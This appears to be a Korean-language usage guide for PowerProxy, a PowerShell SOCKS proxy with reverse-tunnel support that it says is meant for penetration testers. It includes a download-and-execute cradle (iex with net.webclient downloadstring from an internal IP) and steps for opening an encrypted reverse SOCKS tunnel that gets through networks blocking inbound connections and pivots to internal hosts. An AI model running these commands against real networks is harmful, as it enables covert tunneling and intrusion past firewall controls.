
리버스 프록시 기능을 갖춘 PowerShell SOCKS 프록시
PowerShell SOCKS 프록시로, 역방향 프록시 기능을 포함합니다.
PowerProxy는 침투 테스터를 염두에 두고 작성되었습니다. 역방향 프록시 기능은 인바운드 연결을 차단하는 네트워크를 통과하기 위한 우선순위로, 역방향 프록시 연결은 기본적으로 암호화됩니다. Socks 5 연결에 대해 사용자 이름/비밀번호 인증이 지원됩니다.
스크립트를 가져옵니다:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py는 임시 SSL 인증서를 생성할 수 있으며, 이는 OpenSSL이 필요합니다. 시스템에 OpenSSL이 설치되어 있지 않다면 (대부분의 Linux/Unix 기반 시스템에는 설치되어 있습니다), 자체 인증서를 제공하거나 --no-encrypt 옵션을 사용하세요.
자세한 사용법은 PowerProxy의 도움말을 확인하거나 ./reverse_proxy_handler.py --help를 사용하세요.
로컬 머신에서 핸들러를 시작합니다:
# 포트 8080에서 역방향 프록시 수신. 클라이언트는 포트 1080(기본값)으로 연결
./reverse_proxy_handler.py -p 8080
PowerShell에서:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
프록시 클라이언트는 reverse_proxy_handler.py가 생성한 서버를 마치 실제 SOCKS 서버인 것처럼 취급할 수 있습니다:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
PSCredential 객체를 사용하여 사용자 이름과 비밀번호를 요구합니다:
# 자격 증명 생성
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose